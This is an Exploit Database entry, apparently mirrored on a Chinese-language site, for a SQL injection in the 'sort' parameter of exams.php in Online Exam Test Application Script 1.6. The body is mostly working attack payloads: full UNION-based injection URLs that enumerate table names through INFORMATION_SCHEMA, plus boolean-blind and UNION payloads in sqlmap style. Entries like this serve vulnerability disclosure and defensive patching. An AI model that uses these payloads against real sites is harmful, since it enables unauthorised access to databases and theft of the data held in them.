Online Exam Test Application Script 1.6 – ‘exams.php?sort’ SQL Injection

• Exploit Database
• 19 阅读

• 作者： Ihsan Sencan
  日期： 2017-12-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/43291/

• # # # # # 
  # Exploit Title: Online Exam Test Application Script 1.6 - 'Exams.php 'sort' SQL Injection
  # Dork: N/A
  # Date: 08.12.2017
  # Vendor Homepage: https://www.phpscriptsmall.com/
  # Software Link: https://www.phpscriptsmall.com/product/online-exam-test-application/
  # Version: 1.6
  # Category: Webapps
  # Tested on: WiN7_x64/KaLiLinuX_x64
  # CVE: N/A
  # # # # #
  # Exploit Author: Ihsan Sencan
  # Author Web: http://ihsan.net
  # Author Social: @ihsansencan
  # # # # #
  # Description:
  # The vulnerability allows an attacker to inject sql commands....
  # 
  # Proof of Concept: 
  # 
  # 1)
  # http://localhost/[PATH]/exams.php?sort=[SQL]
  # 
  # -4++UNION+ALL+SELECT+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x),5,6--+-
  # 
  # http://server/exams.php?sort=-4++UNION+ALL+SELECT+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x),5,6--+-
  # 
  # Parameter: sort (GET)
  # Type: boolean-based blind
  # Title: AND boolean-based blind - WHERE or HAVING clause
  # Payload: sort=4 AND 9300=9300
  # 
  # Type: UNION query
  # Title: Generic UNION query (NULL) - 6 columns
  # Payload: sort=4 UNION ALL SELECT NULL,CONCAT(0x717a6b7071,0x436a5574724b7477565147546d496b47534c4e586c4275794c6359695374477874484b4669767978,0x7176627871),NULL,NULL,NULL,NULL-- Knya
  # 
  # # # # #